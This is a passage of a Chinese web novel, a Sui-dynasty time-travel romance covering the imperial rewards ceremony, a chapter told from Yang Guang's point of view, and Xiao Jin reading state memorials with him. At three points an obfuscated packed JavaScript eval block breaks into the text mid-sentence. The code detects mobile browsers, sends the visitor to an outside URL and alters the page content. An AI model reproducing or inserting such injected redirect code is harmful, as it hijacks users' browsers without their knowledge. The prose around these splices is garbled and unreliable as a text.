然后是裴家兄妹。 “裴家这两个孩子,”皇帝眼里赞赏更明显了,“武斗打得精彩,箭术更是了得。兄妹同心,其利断金,老裴教得好。” 裴文若和裴秀齐声道:“谢陛下!” 声音里压着激动。 皇帝目光又扫过人群,落在宇文成都身上:“宇文家的小子。” 宇文成都吓得一激灵,赶紧出列:“末将在!” “力气大,胆子也大。”皇帝笑道,“抱着人过铁索,朕还是头回见。好好练,将来是块材料。” 宇文成都脸涨得通红:“谢、谢陛下!” 我看了一眼他旁边的薛静姝,她眼睛红得跟兔子似的,头发也有点乱,估计昨天在山里过夜没睡好。 宇文成都那憨憨,肯定不知道该怎么照顾女孩子。 最后,皇帝看向我们这边。 “晋王,”他开口,却没点评,只是问,“你这队能走到最后,你怎么看?” 来了,送命题! 杨广上前一步,脸上瞬间挂起那副“贤王”专属表情:诚恳,谦逊,眼里闪着团队精神的光。 “回父皇,儿臣不敢居功。”他声音清朗,字字清晰,“铁索上多亏裴将军稳住阵脚,论辩关全靠萧姑娘机变破题,断崖绝境更是四人同心,各展所长。这魁首之名,实乃团队之力。” 我在心里猛翻白眼。 影帝!绝对是影帝! 这话说得,功劳平分,风险共担,显得他多大公无私似的。 滴水不漏,佩服佩服。 皇帝听完,笑了笑,没说什么,转头看向老贺。 “贺卿。” 老贺赶紧出列:“臣在!” “你这一儿一女,”皇帝指指贺璟,又指指我,“都让朕惊喜。” 他特别看向我,眼神里都是肯定:“尤其这个女儿……胆大心细,有谋略,有急智,更难得的是那份周全心思。大疫那套说法,朕听了,很受启发。” 老贺嘴都快咧到后脑勺了,还得拼命压着,嘴上谦虚:“陛下过奖!小女顽劣,都是侥幸,侥幸……陛下天威浩荡,才有她这点微末表现……” 我听得脚趾抠地。老贺,别说了!再说下去我真要找个地缝钻了! 皇帝大概也听烦了老贺那套“天威浩荡”的车轱辘话,一抬手,打断了。 “赏吧。” 总管太监上前一步,展开黄绢。 “晋王杨广,率队夺魁。特准从明日起,往后三日,暂居文思阁偏殿,观览近日奏报。” 好家伙,工作三天不回家? 这要是我,肯定一万个拒绝,但转念一想,对杨广这工作狂+野心家来说,能直接看奏章,简直是终极奖赏。 看他此刻面无表情,心里指不定已经放烟花了。 杨广撩袍跪下:“儿臣领旨,谢父皇。”声音稳得一批。 “裴文若,晋一级。裴秀——” 皇帝顿了顿,目光落在那个一身利落、站得笔直的姑娘身上,眼里带了几分笑意: “你不在军中挂职,朕就不给你虚衔了。特许你入左翊卫军校习艺,每月逢五逢十,随军操演。遇大阅,可列观。” 裴秀愣了一下,随即猛地抬起头。 左翊卫,天子亲军。 逢五逢十操演,这是让她实打实地进军营,跟那些男儿一起摸爬滚打。 大阅列观,那是只有七品以上武官才有的资格。 “臣、臣女叩谢陛下隆恩!” 俩人声音洪亮,激动的都藏不住。 “萧锦——” 轮到我了。 太监念完我名字,卡住了。 我:??? 说啊!我是什么?黄金万两?绫罗绸缎?别卡壳啊大哥! 场面安静了两秒。 老皇帝接过话,笑了笑:“萧丫头也无官无职,这赏赐什么,倒真让朕头疼。” 他想了想,侧头看向皇后:“这丫头,赏点什么好?” 我:…… 合着您还没想好啊!难题就抛给老婆了? 简单点!黄金万两就行!我不挑的! 独孤皇后温声开口:“陛下,萧丫头既有这般见识,寻常赏赐反倒轻了。” 她顿了顿,看向我,眼神温和却不容商量:“臣妾想着,不如让她随晋王一同,去文思阁看看奏报。年轻人多长些见识,总是好的。或许她能瞧出些旁人未见的关节,给广儿添些不一样的思路。” 我脑子嗡的一声。 不是吧娘娘! 我就想要点实在的!黄金!宅子!田产!什么都行! 看奏报算什么赏赐啊!那是加班!是无薪劳动!还要动脑子! 而且还要跟杨广一起关三天……救命! 可脸上还得挤出感恩戴德的笑,跪下:“臣女……谢陛下、娘娘恩典。” 声音都是飘的。 皇帝点点头:“那就这么定了。” 仪式总算完了,人群开始散了。 太子杨勇第一个走过来,脸上笑容完美得像面具:“恭喜二弟。” 又转向我,笑意不达眼底,“萧姑娘才识过人,日后若有机会,东宫欢迎姑娘前来做客。” 我低头:“谢太子殿下。” 太子笑着颔首,转身离开。 可袍袖拂动间,我分明看见他袖子底下的手,攥得死紧,指节发白。 恭喜是假的。 那拳头里的不甘心,才是真的。 嚯,合着这也是个影帝。 不愧是亲兄弟。 顺着人潮往外走,老贺冲过来,一巴掌拍我背上:“好丫头!真给你爹长脸!” 劲儿大得我龇牙咧嘴。 他压低声音,神色严肃:“去文思阁看奏报,这是天大的恩典!”他盯着我,“记住,多看,多听,少开口!不该你看的,一眼都别瞟!” “知道了知道了……”我有气无力地应着。 我现在只想回家,立刻马上。 困死了。 山上滚了两天,现在浑身都散架。 心里那点夺冠的喜悦,因为这三天“无偿劳动”,全散干净了。 贺璟站在老贺身后,没说话,只朝我点了点头。 我们仨跟着人潮往山下走。 “萧姑娘。” 身后传来声音。 这声音,我这两天快听出条件反射了。 我回头,连表情都懒得整理了,反正满脸都写着“累死了,您还有何贵干?” 杨广站在几步外,看我这样,居然笑了。 是真笑,不是那种装模作样的笑。 “明日辰时三刻,”他声音清晰,不容商量,“本王去贺府,接你入宫。” 说完,也不等我反应,跟老贺小贺点了个头,就转身就走了。 留我僵在原地。 山风呼呼地吹。 我低头看了看怀里那块冰凉的玄铁令牌,又抬头望了望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222536|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨广消失在人群里的背影。 ……真是亏出血了。 毁灭吧! …… 【杨广视角·紫云峰顶】 紫云峰顶的风很大。 杨广站在御阶侧方,姿态恭谨,目光却落在旁边那抹鹅黄的身影上。 她爬上来的时候,腿都在抖。明明累得够呛,却还要挺直腰板,规规矩矩地行礼。脸上的表情绷得死紧,可眼底那点小得意,藏都藏不住。 像只偷到鱼还假装若无其事的猫。 他看见贺若弼冲她扬眉毛。 她也冲贺若弼扬眉毛。 父女俩一个德行。 他嘴角微微弯了一下,很快压下去。 父皇在说话,不能笑。 太子那组点评完。贺璟那组点评完。裴家兄妹也点评完。 父皇的声音不疾不徐,他听着,面上维持着得体的专注,余光却始终落在那个角落里。 她站得笔直,像棵刚抽条的小白杨,耳朵却竖着,父皇每夸一句,她那耳朵尖就微微动一下。 夸裴秀箭术的时候,她偷偷朝裴秀比了个拇指。 夸贺璟沉稳的时候,她下巴微微扬起,与有荣焉。 夸宇文成都的时候,她看了一眼旁边眼眶红红的薛静姝,嘴角撇了撇,那表情像是在说“活该”。 她在心里给所有人打分。 杨广忽然很想知道,在她那本账上,自己被划在了哪一栏。 “晋王。” 父皇的声音落下。 他上前一步,脸上自然而然地挂起那副惯用的、温雅谦和的笑。 这是他练了十几年的表情,精准得可以刻进模板。 “……魁首之名,实乃团队之力。” 话说得滴水不漏。 余光扫过她,她……在翻白眼。 当着他父皇的面,她居然在翻白眼? 那白眼翻得又快又隐蔽,一闪而过,若非一直盯着她,根本不可能捕捉到。 但她不知道他在看,所以翻得肆无忌惮,理直气壮。 他差点没绷住。 这姑娘,胆子是真大。 最后,父皇的目光落在她身上。 “尤其这个女儿……胆大心细,大疫那套说法,朕听了,很受启发。” 从他的角度,能看见她耳朵尖红了。 害羞了。 然后是赏赐。 “臣妾想着,不如让她随晋王一同……” 她愣了一下。 那表情,先是茫然,然后是不敢置信,然后是“您在逗我”的震惊,最后是生无可恋的绝望。 一息之间,四五种情绪在那张脸上依次闪过,精彩极了。 她跪着谢恩,声音都在飘。 “臣女……谢陛下、娘娘恩典。” 他垂下眼,压住嘴角,再次提醒自己,不能笑。 “萧姑娘。” 下山时,他叫住她。 她看起来很累,但那双眼睛还是亮的,带着警惕,带着好奇,还有一点点她自己都没察觉的……期待。 他忽然就不想装了。 他笑了。 是真笑,不是那种练了十几年的标准模板。 “明日辰时三刻,”他说,声音清晰,不容商量,“本王去贺府,接你入宫。” 说完,他转身就走。 不是不想多说。 是再说下去,会真的在她面前笑出声。 那个表情,值得他回味一整夜。 下山的路很长。 他跟在她后面不远不近的地方,看着她深一脚浅一脚地走。贺若弼在前面大步流星,贺璟在旁边护着。 三个人走成一团,热热闹闹的。 他忽然想起方才在峰顶,她冲贺若弼扬眉毛的样子。 还有她偷偷朝裴秀比拇指的样子。 还有她翻白眼的样子。 还有她耳朵尖红透的样子。 可在他面前,她总是绷着、警惕着、算计着,像只随时准备逃跑的小兽。 为什么? 她怕自己? 没关系。 未来的三天他们会时时刻刻待在一起。 看你怎么逃。 风又起了。 他拢了拢衣袖,加快脚步。 ——明日得早点去。 【杨广的小剧场·完】 37. 心动警告 马车晃晃悠悠地往回走,像摇篮。 我瘫在软垫上,连动动手指的力气都没了,浑身酸疼。铁索桥上耗掉的力气、阁楼里死掉的脑细胞、断崖边吓飞的魂儿,这会儿全找上门讨债来了。 车帘掀开一角。 贺璟骑着马走在车旁,脸上依然没什么表情,但我知道他肯定也累。 他隔一会儿就偏头朝车里看一眼,“累了就睡会儿,到家我叫你。” 我含糊应了一声,眼皮沉得撑不住。 车轮声、马蹄声、远处坊市的喧嚣,都混成了模糊的背景音。 迷迷糊糊的,好像还听见贺璟在跟车夫说什么“走稳些”。 再睁眼时,帘外传来车夫的声音:“小姐,到了。” 我揉了揉眼睛,掀帘一看,贺府的门灯已经亮了起来,暖黄的光晕在暮色里晕开。贺璟正从马上下来,把缰绳递给迎上来的家仆,回头看了我一眼。 “醒了?” “嗯。” 我手脚发软地爬下车,跟着他一前一后进了府。 老贺已经在厅里坐着了。 其实我们是同路回来的,他骑马快,先一步到了家,这会儿正指挥厨房上菜呢。 “快快快,都摆上!”老贺嗓门大得震耳朵,“这俩孩子在山里两天,肯定饿坏了!” 我刚踏进门槛,他就递过来一根烤得焦黄的羊排,油珠子还顺着骨头往下滴:“赶紧吃!山上那点东西哪够塞牙缝?” 我接过来咬了一大口,外皮酥脆得咔嚓响,里头的肉嫩得流汁:“可不是!我就吃了条烤鱼,晋王抓的,他手艺倒还行。” 贺璟在我旁边坐下,自己盛了碗乳白色的鱼羹:“我打了只野兔,也是烤着吃的。” “好好好!”老贺笑得脸上褶子都堆起来了,“不过最让老子痛快的,还是陛下今天夸你们那几句,够我在那些老家伙面前挺直腰杆说三年的!” 我一边啃肉一边点头:“嗯嗯,是是。” 贺璟纯干饭,埋头吃鱼羹,连嗯都懒得嗯,看得出来,他是真饿了。 老贺还在那儿乐,声音压不住:“尤其是锦儿!陛下说什么来着?‘很受启发’!听见没?很受启发!” “听见了听见了……”我含糊应着,赶紧又扒了两口粟米饭。 这顿饭吃得风卷残云。 吃完后,老贺拉着我又嘱咐文思阁的事,还是“多看少说”、“不该问的别问”那些话,翻来覆去说了好几遍,最后摆摆手:“行了行了,赶紧回屋收拾东西去,明儿辰时三刻,晋王的车驾就到门口了。” 我如蒙大赦,起身就溜。 “锦儿。”刚迈出厅门,贺璟就跟出来了,在回廊的阴影里叫住我,“要聊聊吗?” “好!” 我俩熟门熟路地爬上屋顶。 夜风吹过来,带着长安城特有的味道,远处西市收摊的喧嚣、坊墙下孩童嬉闹的余音、还有不知哪家飘来的炖肉香气。 我在屋脊上坐下,长长地、彻底地舒了口气。 浑身的骨头都像散了架,每一处关节都在叫嚣。 “累死了……”我往后一仰,看着满天星斗,开始抱怨。“最可气的是什么你知道吗?我以为会赏我黄金万两!实实在在的金子!结果呢?” 我坐直身子,比划着:“让我去看奏章?那些枯燥得要死的文书!” 我越说越来气:“我都想好那些钱怎么花了!先在西市盘个临街的铺面,不用大,两间屋就成。雇两个老实伙计,卖点南北杂货。剩下的钱存进最大的钱庄,每月吃利息就够……” 贺璟笑了一声,“怎么,贺家少你吃穿了?” “那不一样!”我扭过头瞪他,“自己挣的钱,花着才痛快。黄金万两啊,你知道能买多少好东西吗?能打多少首饰?能扯多少匹江南最时兴的流光锦?” 贺璟没接这话。 他安静地坐着,过了好一会儿,才开口,“这次试炼,你怎么看?” 我捡起脚边一片碎瓦,在手里掂了掂:“还能怎么看?老头子就是想看他那俩儿子斗法呗。咱们这些人,都是棋盘上的棋子,陪跑的。” 顿了顿,我把碎瓦扔回屋顶,瓦片滑下去,发出轻微的摩擦声:“不过太子倒没我想的那么草包。沙盘那关,他答得还挺像样,有些见解甚至说得上精准,估计私下真请先生教过,下过苦功。但……” 贺璟转过头看我,我也看着他。 “也就那样。” 四目相对,我俩不约而同地笑出声来。 “我跟你说,”我凑近些,压低声音,像分享什么了不得的秘密,“老皇帝偏心眼偏到天边去了。太子过铁索桥的时候,你看见没?对面射来的箭又慢又少,明显放水了。轮到我跟晋王上悬崖,好家伙!” 我加重语气:“冷箭嗖嗖的!那架势,恨不得把我俩都射下去。这待遇,一个天上一个地下。” 贺璟点点头,神色倒是平静:“我觉得,陛下是在有意试炼晋王。想看看他,到底能做到什么程度。” 我眨了眨眼:“诶?这我倒是没想到。” 我用手肘轻轻推了推他,“可以啊贺小将军,政治觉悟渐长啊。” 夜风持续吹着,带着凉意,很舒服。 “裴家兄妹还挺厉害的,人也好,”我又来了兴致,“我还跟裴秀约了切磋武功呢!” “嗯。”贺璟点头,“裴文若刀法沉稳,裴秀箭术精绝,是将才。” “还有宇文成都和薛静姝,”我想起那画面就忍不住笑,“笑死我了,薛静姝那娇滴滴的样儿。” 我开始捏着嗓子模仿:“宇文将军~静姝好怕~您抱紧些~这铁索晃得人家头晕~” 贺璟看着我,嘴角一直翘着,月光落在他眼睛里,映出细碎的光。 “还有独孤明瑶那姑娘,”我接着说。 “看着不声不响的,跟在她姐身后,话都不多说一句。可箭术能跟裴秀只差半环……藏得挺深啊。你说,独孤家是不是早打算好了,要送她进东宫?” 贺璟摇了摇头:“独孤家是皇后娘娘母家,怕是不会轻易开这个口子。” “哦……”我点点头,懂了。 独孤家是关陇第一等的门阀,政治联姻什么的,必然得等尘埃落定。 毕竟他们家的女儿,未来大概率是要奔着当皇后去的。 短暂的安静后,贺璟的声音再次响起,“你跟晋王那两天,相处得怎么样?” 我愣了一下,扯出个笑:“还能怎么样?就那样呗。一起过关,互相搭把手,他脑子是好使,不然我们也赢不了。” “嗯。”贺璟应了一声,手指无意识地刮着瓦片上的青苔,目光看着远处的黑暗,像是随口一提,“我看他待你,跟待别人不太一样。” “……有吗?”我下意识反问,但声音听着有点虚,“哪不一样了?他对裴家兄妹不也挺客气。” “说不上来。”贺璟转过头,月光下他的侧脸线条清晰,眼神平静却专注。 “他余光总在你身上,你说话,他会听完,你呛他,他也不恼,反而像觉得有意思。” 他顿了顿,声音低了些。 “锦儿,他对旁人,不会这样。” 我:“……” 远处传来梆子声,二更了。 “不早了,”贺璟不再问,站起身,拍了拍衣摆上的灰尘,“回去歇着吧,明早还要进宫。” “嗯。”我应。 他先跃下屋顶,在下面接了我一把,我轻巧落地。 回到自己院子时,云枝已经忙活开了。 我屋里简直像要搬家。 圆桌上摊着整整三套衣裳,鹅黄、湖绿、浅粉的齐胸襦裙,每一件都叠得方正整齐;妆匣也大开着,牛角梳、篦子、胭脂膏、口脂盒一样不少。 窗边的小几上还摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227157|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着个巴掌大的香炉,旁边五六个锦绣香囊一字排开,散发出不同的草药香气。 “小姐回来了!”云枝从一堆衣物里抬起头,眼睛亮得像星子。 “热水备好了,兑了艾草,解乏的,你先洗洗?这套鹅黄的明儿穿怎么样?配这对珍珠耳珰……还是湖绿那套?首饰得换着搭……” “随便吧,”我瘫在椅子上,“反正就是去看奏章,穿给谁看啊。” “那可不行!”云枝叉起腰,小脸板起来,“宫里多少双眼睛盯着呢!独孤家的、薛家的、还有那些不认识的命妇女官……咱们可不能输阵!” 我被她那认真的模样逗笑了,摆摆手:“行行行,都听你的,云枝大总管。” 洗完澡,我躺在床上,云枝趴在床边,大眼睛一眨一眨的。 “小姐,”她的声音压得低低的,跟我说悄悄话,“这次……要跟晋王殿下一起呆三天哈?” “嗯。”我闭着眼应声。 “我觉得……”她声音更小了,几乎成了气音,“晋王殿下喜欢小姐……” “啥?” “真的!”云枝凑近些,“那几天我都看着呢。晋王那么忙,黄河堤上的事堆成山,从早到晚见人、议事,可还是老抽空来看你。” 她掰着手指,一样样数:“小姐昏迷的时候,他一天来三四趟,就站在帐子外头,也不进去,背着手站一会儿,问两句‘醒了没’、‘烧退没’,然后就走。” 她絮絮叨叨的:“你的药,他亲自找军医问过方子,还让加了甘草调和苦味;你的饭,他嘱咐厨房单做,要清淡好克化的,说伤后不能吃太油腻;连你换下来的衣裳,他都让人特意用软皂荚浆洗过,说粗硌的料子磨伤口……” “小姐觉得晋王殿下怎么样?” 我没吭声。 比起他怎么样,这会儿躺在这,我满脑子就一个想法:我实在不该。 如果我不知道那些史书上白纸黑字的未来,那我大可以理直气壮地被这个人吸引。他长得好,脑子快,能文能武,紧要关头靠得住。 这样的人,凭什么不能喜欢? 可偏偏我什么都知道。 我知道他将来会变成什么样子,知道那几行冷冰冰的史书记载,知道“萧皇后”三个字背后,是江都的夜、是辗转的路、是飘零半生的命。 我不该离他那么近。 选他组队是没办法,当时太子那副德性,杨广确实是唯一能选的路。特殊情况特殊办法,我不后悔。 但我不该问他那道疤。 那是他的私事,是他的的过去,我问了,就多了一层不该有的牵扯。 我不该披着他的外袍睡到天亮。 那是他的衣服,沾着他的气息,我裹着睡了半夜,醒来时竟觉得……暖和。 我更不该在这两天一夜里,有那么几个瞬间,差点忘了他是谁。 甚至我居然会觉得,这人怎么这么厉害?什么都会,什么都行,跟他搭档真是省心又痛快。 我不该被吸引。 一丝一毫都不该。 “小姐?”云枝的声音把我拽回来。 我扯了扯嘴角,声音有点干:“能怎么样?他是晋王殿下,我是贺家养女。明天开始,就是看三天奏章,完了回家,就这样。” 云枝眨了眨眼,好像没太理解我怎么情绪变得这么快。 我也没再说话,我盯着帐顶的暗纹,在心里一条条列。 接下来的三天: 第一,只看奏章,不问私事。 第二,他说话,我听;他问话,我答;绝不主动开口。 第三,不看他眼睛,不接他话茬,不让他觉得我有什么“特别”。 第四,辰时到,酉时走,一刻不多留。 “萧锦,”我无声地说,像在念咒,“记住你是谁,记住他是谁。” “离远点。” “必须远点。” 38. 陪晋王殿下看奏疏 辰时三刻,贺府门口。 晨光刚爬上屋檐,露水还在叶片上打滚儿。晋王府那辆玄青色马车已经候着了,车夫是个面孔黝黑的沉默汉子,站得跟木头桩子似的。 云枝正往我布囊里塞第四块芝麻胡饼:“小姐,再带一块,万一不管饱……” “够了够了,你想让我撑死宫里在吗?”我赶紧摁住了她。 贺璟站在廊下阴影里,深青色家常袍子衬得身形挺拔。他就那么静静看着我,晨光只照亮他半边身子,跟个阴阳脸似的。 我走下台阶,踩上马车踏脚。 “锦儿。” 他的声音从身后传来。 我回头。 他已经走到晨光里了。 那双总是沉静的眼睛此刻被光照得透亮,里面清晰地映着我的影子,发髻有点歪,早上起晚了随便梳的。 “宫里不比家里。”他说,“遇事别急着往前冲,多看少说。” 我点点头,心里琢磨:这话说的,好像我多爱往前冲似的。 车厢内,杨广已经在座。 他今天穿了件雨过天青色的绫袍,腰间系着羊脂白玉带,倚着车壁,就那么直勾勾地看我。 “萧姑娘今日这身鹅黄襦裙,绣的可是缠枝莲?” 我垂眸,避开他那过于直接的视线,只盯着自己的裙摆,规规矩矩地答:“殿下好眼力。” “比春猎时那身骑装讲究多了。”他挑眉,语气里带着点戏谑,“怎么,知道要陪本王看书,特意打扮的?” 我猛翻白眼……这人一大早哪来这么多闲话? 我又心里默念了一遍昨天定的规矩,“不接他话茬”。 脸上挤出个标准得挑不出错的假笑,语气放得平板无波。 “殿下说笑了。臣女只是觉得,去文思阁读书,总得穿得像读书人,虽然臣女资质愚钝,可能也读不进去。” “有理。”他像是被我这公事公办的态度逗乐了,唇角弯了弯,往车厢内侧让了让,动作随意,“那萧‘读书人’,请坐。” 我没动。 他留出的空位,紧挨着他。 我的目光迅速扫过,然后在离他最远、靠窗的位置坐下。 中间隔出了一段足以再坐一人的、泾渭分明的距离,然后把云枝给我收拾的那一大包“以防万一”的东西搁到身侧,像个沉默的界碑。 马车一动,杨广终于不看我了,闭目养神。 我正暗自松了口气,太好了,没话找话环节终于可以暂告一段落了。 “听说文思阁的藏书,”他忽然又开口了,眼睛还闭着,声音里带着晨起的慵懒。 “有些是前朝孤本,连弘文馆都没收录。” 规矩第二条:他问话,我简洁答。 “是吗。”我随口应道,语气平淡。心里想的却是:孤本又怎样,又不能吃,也不能换钱。 “嗯。”他转过头看我,晨光透过帘缝落在他侧脸上,“若看到有意思的,本王借出来给你抄一份?” 这是试探,也是亲近的表示。不能接。 规矩第三条:不接他话茬,不让他觉得我“特别”。 我垂眼看着自己膝上的裙褶,声音四平八稳:“谢殿下。不过臣女才疏学浅,怕是看不懂孤本。此去只为聆听殿下教诲,学习政务,不敢分心旁骛。” 把“借书给你”的私人好意,直接扭成“学习政务”的公事。 他静了片刻,睁开眼看向我,目光里有些探究,“萧姑娘今日似乎,格外安静。” 我垂眸:“殿下面前,不敢喧哗。” 他目光在我脸上停留片刻,没再说什么,重新闭上眼养神。 马车碾过最后一道宫门的青石板,停下了。 引路的宦官姓孙,五十来岁年纪,鬓角斑白。 “晋王殿下,萧姑娘。”他推开文思阁沉重的殿门。 “住处已收拾妥当,殿下宿西侧暖阁,萧姑娘宿东厢房。一日三餐会按时送到偏厅,热水、笔墨、灯油一应俱全。” 我道了谢,踏进门槛。 一股阴凉的气息扑面而来,带着陈年墨香和灰尘混合的味道。好家伙,这得多少年没开窗了? 然后我看见了一座“山”。 紫檀木长案上,奏疏、案卷、竹简、绢帛……堆得足足有半人高。 ……这叫“近日奏报”? 这得是攒了多少年的陈年旧档?陛下这是让我们来考古的吧? 杨广已经走到案前。 “开始吧。”他说。 我在长案另一侧坐下,从上面随手拿了一本,蓝皮封,边角整齐。 展开,是户部某年的田亩清册。 密密麻麻的小楷,列着:某州某县,上等田多少亩,中等田多少亩,下等田多少亩,归属何人…… 有些名字反复出现,田产数目大得晃眼。 看得眼睛发酸。 好无聊,比高数课还要无聊。 我悄悄抬眼瞥向对面。 杨广也抽了一卷,正展开看。他坐得笔直,翻页的手指很稳,晨光从高窗斜斜落在他肩头。 好家伙,这么枯燥的东西,他看得这么入神。 殿内极静。 只有书页翻动的沙沙声。窗外偶尔传来几声鸟鸣,清脆得很。 我看完田亩清册,又抽了一卷兵部军籍名录。某府某卫,在册兵丁几何,缺员几何,马匹多少,铠甲几副…… 字在眼前飘。 又看了约莫一个时辰,脖子开始发僵。 我揉了揉后颈,抬眼看见杨广还保持着那个姿势,只是已经换了几卷。 殿门被轻轻推开,一个小太监端着茶盘进来,轻手轻脚地在案边各放了一盏温茶,又悄无声息地退了出去。 茶还挺香,不愧是宫里的东西。 我端起抿了一口,温热的茶水顺着喉咙下去,总算舒服些。 杨广也端起茶盏,却没喝,只是握在手里暖着,目光仍落在摊开的卷宗上。 午时正,殿门再次被推开。 两个小太监抬着食盒进来,在偏厅布菜。四菜一汤:清炒菘菜、醋芹、炙羊肉、鱼鲙,还有一壶温过的梅子浆。 “殿下,萧姑娘,请用膳。”孙宦官立在门边。 杨广这才放下手中的卷宗,洗了手,在主位坐下。 我也跟着坐下,这才发觉确实饿了。 他吃得不多,每样菜只夹一两筷,咀嚼得很慢,目光却时不时瞥向摊在旁边的那份奏疏。 实在太无聊了,我终于还是没忍住开口,破了我定好的四条规矩。 “殿下,陛下让咱们看这些……到底要干啥?” 杨广放下筷子。 瓷筷搁在青瓷碟上,发出清脆一响。 “看。”他说,“看完自然知道。” 我嘀咕:“这不等于没说吗……” 午后困意汹涌袭来。 我强打精神,又抽了一卷工部水利奏报。某河某堤,需修缮长度几何,预估工料多少,征发民夫数目…… 字在眼前打转。 头一点,差点磕在桌上。 猛地惊醒,额上已是一层薄汗。 抬眼,杨广还在看。额角有细密的汗珠,他却浑然不觉,已经看了十几卷了。 ……这耐力,服了。 我甩甩头,起身走到窗边,推开半扇窗。 微热的风灌进来,总算驱散了些许困意。 回去坐下,这次,我打开了一份工部奏报。这份奏报特殊,因为那后面,附了一页私笺。 纸色暗黄,质地粗糙。字迹潦草,墨色发灰。 「……州中河工主事一职,本应聘请熟谙水利之匠人。然太守坚用其姻亲子弟,某姓陈,年方弱冠,于治水一窍不通。今春汛至,新修堤坝溃决三十丈,淹田百顷,灾民流离。然陈某仅被申饬,调任他处,毫发无伤。寒门匠人纵有数十年经验,无处举荐,报国无门,呜呼!」 末尾没有署名。 只有一滴干涸的、晕开的墨渍。 像泪。 也像血。 我皱起眉,心头泛起一丝异样的沉重。 这感觉,跟刚才看那些冷冰冰的数字完全不同。 这是什么意思? 任人唯亲?举荐不公? 一份工部奏报里,怎么会夹着这种东西? 谁写的?怎么递上来的? 我抬起头。 发现不知何时,杨广也在看我。 他手里也拿着一份卷宗,眉头微蹙,目光沉沉地看着纸页,那神情……像是在看什么令人不快的东西,又像是找到了什么关键线索。 我们谁都没说话。 默契地,同时将手中的卷宗推给对方。 他拿到的是那页私笺。 我拿到的,是一份御史台的弹劾奏疏。弹劾某郡守“举荐不公”,所用僚属“皆出本郡大族,寒俊无一得用”。 奏疏写得很长,列了七八条罪状,最后总结道:“如此举荐,名为选贤,实为私相授受。寒门才俊,报国无门,此非一郡之弊,实乃天下之疾。” 朱批只有两个字: “已阅。” 鲜红的朱砂,在昏黄的纸页上刺眼得惊人。 那红色浓得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230838|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发暗,像是蘸了太多朱墨,力透纸背,几乎要渗到纸背去,带着一种无声的、沉甸甸的分量。 窗外的日头,不知何时已开始西斜,光线变得柔和,带着暖橘色。 我们一份接一份地看。 动作越来越快,呼吸越来越沉,竹简碰撞的声响在空旷的大殿里回荡。 第二十九卷。 是吏部某年的铨选记录,某州,新授县令十八人。 “十八人中,十五人为当地大族子弟。” “寒士纵有才,无门可入。” 朱批依然是两个字:“已阅。” 然后是第三十卷。这一卷,纸页边缘磨损,装订线松了,纸张本身也比其他奏疏黄暗得多。 展开的瞬间,我呼吸一窒。 「……臣自知罪孽深重,无颜面对陛下。然临死之前,有一言不得不吐。」 「骊山一案,臣彻查之时,阻力重重。非证据不足,实权势压人。」 这是李纲的,李纲的那封遗书! 只是现在的这些内容,是我没看过的!是没有流传出去的!这是原件! 「臣欲传唤某子弟问话,竟有三位朝中重臣先后来说情。」 「臣欲调阅某家田产簿册,掌管文书之吏竟称‘不慎遗失’。」 「朝中要职,半出高门。州郡察举,尽归世家。」 「寒门士子,纵有管仲之才,诸葛之谋,亦困于门户,老于蓬蒿。」 写到这里,墨迹忽然乱了。 大片污渍晕开,字迹模糊,像是书写时情绪激荡,泪落纸上。能看出有几处笔画被水渍洇得变形了。 下一段,笔锋陡然变得激烈,几乎划破纸背: 「长此以往,国将不国!」 「陛下!此制不破,天下英才之心先死!」 最后一行,墨色淡得几乎看不清,淡得像力气用尽了: 「臣愿以此残躯,叩请陛下,破旧制,开新路。」 「臣李纲,绝笔。」 我捏着绢帛的手指,微微发抖。 不是害怕。 是一种更复杂的战栗,从指尖一路麻到心口,麻到喉咙发紧,像被什么东西狠狠攥住了心脏。李纲……原来是用这种方式死的。 不是绝望自尽,是用命砸门。 我深吸一口气,把这份沉重得烫手的遗书原件,轻轻推过案几,推到杨广面前。 他接过。手指触到那湿润过又干涸的纸张褶皱时,顿了顿。 然后他展开,低头看。 他看得很慢,目光在那些触目惊心的字句上久久停留。烛光在他脸上明灭,看不清神情,只能看见他下颌线绷得很紧。 看完,他没有立刻说话,只是将那份遗书轻轻、郑重地放在案上,像安放某种祭品。 然后,他伸手,拿起了压在李纲遗书之下的下一份。 明黄色绸缎封面,完好无损,在烛光下泛着柔和却不容错辨的皇家光泽。封口处,鲜红的玉玺印泥清晰赫然,像一道沉默的命令,又像一道未开的闸。 杨广动作顿住了,抬眼看向我。 我也正盯着那抹刺眼的明黄,喉咙发干。这颜色、这印泥……这东西不该出现在这座故纸堆里。 它属于太极殿,属于御案。 “一起?”他声音有些哑,不是疲惫,是某种压抑着的什么。 我用力点头,手指在袖中悄悄蜷紧。 